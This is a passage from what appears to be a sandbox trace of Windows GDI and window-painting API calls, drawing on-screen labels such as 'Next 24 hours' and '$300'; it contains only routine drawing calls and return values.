(region=0x19e780) returned 0x0 [0176.403] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.403] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.403] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.403] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.403] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.403] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.403] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.403] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.403] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.403] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.403] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.403] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.403] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.403] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.403] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.403] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.403] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.403] GetCurrentObject (hdc=0x35010724, type=0x1) returned 0xb00017 [0176.403] GetCurrentObject (hdc=0x35010724, type=0x2) returned 0x900010 [0176.403] GetCurrentObject (hdc=0x35010724, type=0x7) returned 0x8050721 [0176.403] GetCurrentObject (hdc=0x35010724, type=0x6) returned 0x8a01c2 [0176.403] SaveDC (hdc=0x35010724) returned 1 [0176.403] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5604070e [0176.403] GetClipRgn (hdc=0x35010724, hrgn=0x5604070e) returned 0 [0176.404] SelectClipRgn (hdc=0x35010724, hrgn=0x200406fe) returned 2 [0176.404] DeleteObject (ho=0x5604070e) returned 1 [0176.404] DeleteObject (ho=0x200406fe) returned 1 [0176.404] OffsetViewportOrgEx (in: hdc=0x35010724, x=0, y=0, lppt=0x3087cb8 | out: lppt=0x3087cb8) returned 1 [0176.404] GetNearestColor (hdc=0x35010724, color=0x323533) returned 0x323533 [0176.404] CreateSolidBrush (color=0x323533) returned 0x6810073a [0176.404] FillRect (hDC=0x35010724, lprc=0x19e7cc, hbr=0x6810073a) returned 1 [0176.404] DeleteObject (ho=0x6810073a) returned 1 [0176.404] RestoreDC (hdc=0x35010724, nSavedDC=-1) returned 1 [0176.404] GdipReleaseDC (graphics=0x6926780, hdc=0x35010724) returned 0x0 [0176.404] GdipRestoreGraphics (graphics=0x6926780, state=0xfce60dbd) returned 0x0 [0176.404] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.404] GetWindowTextLengthW (hWnd=0x8020c) returned 13 [0176.404] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0176.404] GetSystemMetrics (nIndex=42) returned 0 [0176.404] GetWindowTextW (in: hWnd=0x8020c, lpString=0x19e864, nMaxCount=14 | out: lpString="Next 24 hours") returned 13 [0176.404] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xd, wParam=0xe, lParam=0x19e864) returned 0xd [0176.404] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.404] GetCurrentObject (hdc=0x35010724, type=0x1) returned 0xb00017 [0176.404] GetCurrentObject (hdc=0x35010724, type=0x2) returned 0x900010 [0176.404] GetCurrentObject (hdc=0x35010724, type=0x7) returned 0x8050721 [0176.404] GetCurrentObject (hdc=0x35010724, type=0x6) returned 0x8a01c2 [0176.404] SaveDC (hdc=0x35010724) returned 1 [0176.405] GetNearestColor (hdc=0x35010724, color=0x6994f5) returned 0x6994f5 [0176.405] RestoreDC (hdc=0x35010724, nSavedDC=-1) returned 1 [0176.405] GdipReleaseDC (graphics=0x6926780, hdc=0x35010724) returned 0x0 [0176.405] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.405] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.405] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.405] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.405] GetCurrentObject (hdc=0x35010724, type=0x1) returned 0xb00017 [0176.405] GetCurrentObject (hdc=0x35010724, type=0x2) returned 0x900010 [0176.405] GetCurrentObject (hdc=0x35010724, type=0x7) returned 0x8050721 [0176.405] GetCurrentObject (hdc=0x35010724, type=0x6) returned 0x8a01c2 [0176.405] SaveDC (hdc=0x35010724) returned 1 [0176.405] GetTextAlign (hdc=0x35010724) returned 0x0 [0176.405] GetTextColor (hdc=0x35010724) returned 0x0 [0176.406] SetTextColor (hdc=0x35010724, color=0x6994f5) returned 0x0 [0176.406] GetCurrentObject (hdc=0x35010724, type=0x6) returned 0x8a01c2 [0176.406] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.406] SelectObject (hdc=0x35010724, h=0x390a06de) returned 0x8a01c2 [0176.406] GetBkMode (hdc=0x35010724) returned 2 [0176.406] SetBkMode (hdc=0x35010724, mode=1) returned 2 [0176.406] DrawTextExW (in: hdc=0x35010724, lpchText="Next 24 hours", cchText=13, lprc=0x19e708, format=0x100000, lpdtp=0x3088164 | out: lpchText="Next 24 hours", lprc=0x19e708) returned 29 [0176.406] RestoreDC (hdc=0x35010724, nSavedDC=-1) returned 1 [0176.406] GdipReleaseDC (graphics=0x6926780, hdc=0x35010724) returned 0x0 [0176.406] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.406] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=171, cy=29, hdcSrc=0x35010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.406] GdipReleaseDC (graphics=0x6926780, hdc=0x35010724) returned 0x0 [0176.406] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.407] SelectObject (hdc=0x35010724, h=0x85000f) returned 0x8050721 [0176.407] DeleteDC (hdc=0x35010724) returned 1 [0176.410] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.410] EndPaint (hWnd=0x8020c, lpPaint=0x19e8c8) returned 1 [0176.410] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.411] IsWindowUnicode (hWnd=0x20214) returned 1 [0176.411] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.411] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.411] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.411] BeginPaint (in: hWnd=0x20214, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0176.411] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.411] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.411] CreateCompatibleDC (hdc=0x60100ce) returned 0x41010724 [0176.411] SelectObject (hdc=0x41010724, h=0x8050721) returned 0x85000f [0176.411] GdipCreateFromHDC (hdc=0x41010724, graphics=0x19e8e4) returned 0x0 [0176.411] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.411] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=79, height=33, combineMode=0x0) returned 0x0 [0176.411] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.411] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.411] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.411] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.412] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75be8) returned 0x0 [0176.412] LocalFree (hMem=0xf75be8) returned 0x0 [0176.412] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.412] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.412] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.412] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.412] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.412] GetWindowTextLengthW (hWnd=0x20214) returned 4 [0176.412] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0176.412] GetSystemMetrics (nIndex=42) returned 0 [0176.412] GetWindowTextW (in: hWnd=0x20214, lpString=0x19e874, nMaxCount=5 | out: lpString="$300") returned 4 [0176.412] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0xd, wParam=0x5, lParam=0x19e874) returned 0x4 [0176.412] GetClientRect (in: hWnd=0x20214, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.412] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.412] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.412] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.412] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.412] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.412] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.412] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.412] LocalFree (hMem=0xf75c20) returned 0x0 [0176.412] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.412] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.412] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.412] LocalFree (hMem=0xf75be8) returned 0x0 [0176.412] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.412] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.412] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.412] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.413] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.413] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.413] GetCurrentObject (hdc=0x41010724, type=0x1) returned 0xb00017 [0176.413] GetCurrentObject (hdc=0x41010724, type=0x2) returned 0x900010 [0176.413] GetCurrentObject (hdc=0x41010724, type=0x7) returned 0x8050721 [0176.413] GetCurrentObject (hdc=0x41010724, type=0x6) returned 0x8a01c2 [0176.413] SaveDC (hdc=0x41010724) returned 1 [0176.413] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x210406fe [0176.413] GetClipRgn (hdc=0x41010724, hrgn=0x210406fe) returned 0 [0176.413] SelectClipRgn (hdc=0x41010724, hrgn=0x5804070e) returned 2 [0176.413] DeleteObject (ho=0x210406fe) returned 1 [0176.413] DeleteObject (ho=0x5804070e) returned 1 [0176.413] OffsetViewportOrgEx (in: hdc=0x41010724, x=0, y=0, lppt=0x30884d0 | out: lppt=0x30884d0) returned 1 [0176.413] GetNearestColor (hdc=0x41010724, color=0x323533) returned 0x323533 [0176.413] CreateSolidBrush (color=0x323533) returned 0x6910073a [0176.413] FillRect (hDC=0x41010724, lprc=0x19e7cc, hbr=0x6910073a) returned 1 [0176.413] DeleteObject (ho=0x6910073a) returned 1 [0176.413] RestoreDC (hdc=0x41010724, nSavedDC=-1) returned 1 [0176.414] GdipReleaseDC (graphics=0x6926780, hdc=0x41010724) returned 0x0 [0176.414] GdipRestoreGraphics (graphics=0x6926780, state=0xfce40dbd) returned 0x0 [0176.414] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.414] GetWindowTextLengthW (hWnd=0x20214) returned 4 [0176.414] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0176.414] GetSystemMetrics (nIndex=42) returned 0 [0176.414] GetWindowTextW (in: hWnd=0x20214, lpString=0x19e874, nMaxCount=5 | out: lpString="$300") returned 4 [0176.414] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0xd, wParam=0x5, lParam=0x19e874) returned 0x4 [0176.414] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.414] GetCurrentObject (hdc=0x41010724, type=0x1) returned 0xb00017 [0176.414] GetCurrentObject (hdc=0x41010724, type=0x2) returned 0x900010 [0176.414] GetCurrentObject (hdc=0x41010724, type=0x7) returned 0x8050721 [0176.414] GetCurrentObject (hdc=0x41010724, type=0x6) returned 0x8a01c2 [0176.414] SaveDC (hdc=0x41010724) returned 1 [0176.414] GetNearestColor (hdc=0x41010724, color=0xfdfdfa) returned 0xfdfdfa [0176.414] RestoreDC (hdc=0x41010724, nSavedDC=-1) returned 1 [0176.414] GdipReleaseDC (graphics=0x6926780, hdc=0x41010724) returned 0x0 [0176.415] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.415] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.415] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.415] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.415] GetCurrentObject (hdc=0x41010724, type=0x1) returned 0xb00017 [0176.415] GetCurrentObject (hdc=0x41010724, type=0x2) returned 0x900010 [0176.415] GetCurrentObject (hdc=0x41010724, type=0x7) returned 0x8050721 [0176.415] GetCurrentObject (hdc=0x41010724, type=0x6) returned 0x8a01c2 [0176.415] SaveDC (hdc=0x41010724) returned 1 [0176.415] GetTextAlign (hdc=0x41010724) returned 0x0 [0176.415] GetTextColor (hdc=0x41010724) returned 0x0 [0176.415] SetTextColor (hdc=0x41010724, color=0xfdfdfa) returned 0x0 [0176.415] GetCurrentObject (hdc=0x41010724, type=0x6) returned 0x8a01c2 [0176.415] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.416] SelectObject (hdc=0x41010724, h=0x450a062b) returned 0x8a01c2 [0176.416] GetBkMode (hdc=0x41010724) returned 2 [0176.416] SetBkMode (hdc=0x41010724, mode=1) returned 2 [0176.416] DrawTextExW (in: hdc=0x41010724, lpchText="$300", cchText=4, lprc=0x19e708, format=0x100000, lpdtp=0x308894c | out: lpchText="$300", lprc=0x19e708) returned 33 [0176.416] RestoreDC (hdc=0x41010724, nSavedDC=-1) returned 1 [0176.416] GdipReleaseDC (graphics=0x6926780, hdc=0x41010724) returned 0x0 [0176.416] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.416] BitBlt (hdc=0x60100ce, x=0, y=0, cx=79, cy=33, hdcSrc=0x41010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.416] GdipReleaseDC (graphics=0x6926780, hdc=0x41010724) returned 0x0 [0176.416] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.417] SelectObject (hdc=0x41010724, h=0x85000f) returned 0x8050721 [0176.417] DeleteDC (hdc=0x41010724) returned 1 [0176.417] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.417] EndPaint (hWnd=0x20214, lpPaint=0x19e8c8) returned 1 [0176.417] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.417] IsWindowUnicode (hWnd=0x20216) returned 1 [0176.417] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.417] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.417] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.417] BeginPaint (in: hWnd=0x20216, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0176.417] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.418] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.418] CreateCompatibleDC (hdc=0x10105d6) returned 0x44010724 [0176.418] SelectObject (hdc=0x44010724, h=0x8050721) returned 0x85000f [0176.418] GdipCreateFromHDC (hdc=0x44010724, graphics=0x19e8e4) returned 0x0 [0176.418] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.418] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=109, height=33, combineMode=0x0) returned 0x0 [0176.418] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.418] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.418] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.418] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.418] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0176.418] LocalFree (hMem=0xf75c20) returned 0x0 [0176.418] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.418] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.418] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.418] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.419] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.419] GetWindowTextLengthW (hWnd=0x20216) returned 7 [0176.419] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0176.419] GetSystemMetrics (nIndex=42) returned 0 [0176.419] GetWindowTextW (in: hWnd=0x20216, lpString=0x19e870, nMaxCount=8 | out: lpString="Cost of") returned 7 [0176.419] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0xd, wParam=0x8, lParam=0x19e870) returned 0x7 [0176.419] GetClientRect (in: hWnd=0x20216, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.419] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.419] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.419] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.419] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.419] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.419] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.419] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.419] LocalFree (hMem=0xf75c20) returned 0x0 [0176.419] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.419] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.419] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.419] LocalFree (hMem=0xf75be8) returned 0x0 [0176.419] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.419] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.420] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.420] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.420] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.420] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.420] GetCurrentObject (hdc=0x44010724, type=0x1) returned 0xb00017 [0176.420] GetCurrentObject (hdc=0x44010724, type=0x2) returned 0x900010 [0176.420] GetCurrentObject (hdc=0x44010724, type=0x7) returned 0x8050721 [0176.420] GetCurrentObject (hdc=0x44010724, type=0x6) returned 0x8a01c2 [0176.420] SaveDC (hdc=0x44010724) returned 1 [0176.420] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5904070e [0176.420] GetClipRgn (hdc=0x44010724, hrgn=0x5904070e) returned 0 [0176.420] SelectClipRgn (hdc=0x44010724, hrgn=0x230406fe) returned 2 [0176.420] DeleteObject (ho=0x5904070e) returned 1 [0176.420] DeleteObject (ho=0x230406fe) returned 1 [0176.420] OffsetViewportOrgEx (in: hdc=0x44010724, x=0, y=0, lppt=0x3088cc4 | out: lppt=0x3088cc4) returned 1 [0176.420] GetNearestColor (hdc=0x44010724, color=0x323533) returned 0x323533 [0176.420] CreateSolidBrush (color=0x323533) returned 0x6a10073a [0176.420] FillRect (hDC=0x44010724, lprc=0x19e7cc, hbr=0x6a10073a) returned 1 [0176.421] DeleteObject (ho=0x6a10073a) returned 1 [0176.421] GdipReleaseDC (graphics=0x6926780, hdc=0x44010724) returned 0x0 [0176.421] GdipRestoreGraphics (graphics=0x6926780, state=0xfce20dbd) returned 0x0 [0176.421] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.421] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.421] GdipReleaseDC (graphics=0x6926780, hdc=0x44010724) returned 0x0 [0176.421] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.422] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.422] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.422] SelectObject (hdc=0x44010724, h=0x450a062b) returned 0x8a01c2 [0176.422] DrawTextExW (in: hdc=0x44010724, lpchText="Cost of", cchText=7, lprc=0x19e708, format=0x100000, lpdtp=0x308914c | out: lpchText="Cost of", lprc=0x19e708) returned 33 [0176.429] GdipReleaseDC (graphics=0x6926780, hdc=0x44010724) returned 0x0 [0176.429] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.430] GdipReleaseDC (graphics=0x6926780, hdc=0x44010724) returned 0x0 [0176.430] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.430] EndPaint (hWnd=0x20216, lpPaint=0x19e8c8) returned 1 [0176.430] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.430] IsWindowUnicode (hWnd=0x20218) returned 1 [0176.430] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.430] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.430] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.430] BeginPaint (hWnd=0x20218, lpPaint=0x19e8fc) [0176.430] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.431] GetClientRect (in: hWnd=0x20218, lpRect=0x19e59c | out: lpRect=0x19e59c) returned 1 [0176.431] GetWindowTextLengthW (hWnd=0x20218) returned 0 [0176.431] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.431] GetSystemMetrics (nIndex=42) returned 0 [0176.431] GetWindowTextW (in: hWnd=0x20218, lpString=0x19e47c, nMaxCount=1 | out: lpString="") returned 0 [0176.431] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xd, wParam=0x1, lParam=0x19e47c) returned 0x0 [0176.431] GetClientRect (in: hWnd=0x20218, lpRect=0x19e4a4 | out: lpRect=0x19e4a4) returned 1 [0176.431] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0176.431] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.431] EndPaint (hWnd=0x20218, lpPaint=0x19e8f8) returned 1 [0176.431] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.432] IsWindowUnicode (hWnd=0x2021a) returned 1 [0176.432] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.432] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.432] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.432] BeginPaint (in: hWnd=0x2021a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0176.432] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.432] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.432] GdipCreateFromHDC (hdc=0x4a010724, graphics=0x19e8e4) returned 0x0 [0176.432] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.432] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=165, height=29, combineMode=0x0) returned 0x0 [0176.433] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.433] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.433] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.433] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.433] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0176.433] LocalFree (hMem=0xf75c20) returned 0x0 [0176.433] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.433] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.433] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.433] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.433] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.433] GetWindowTextLengthW (hWnd=0x2021a) returned 14 [0176.433] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0176.433] GetSystemMetrics (nIndex=42) returned 0 [0176.433] GetWindowTextW (in: hWnd=0x2021a, lpString=0x19e860, nMaxCount=15 | out: lpString="first 24 hours") returned 14 [0176.433] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0xd, wParam=0xf, lParam=0x19e860) returned 0xe [0176.433] GetClientRect (in: hWnd=0x2021a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.433] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.433] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.433] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.433] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.433] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.434] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.434] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.434] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.434] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.434] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.434] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.434] LocalFree (hMem=0xf75c20) returned 0x0 [0176.434] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.434] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.434] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.434] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.434] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.434] GdipGetDC (graphics=0x6926780, 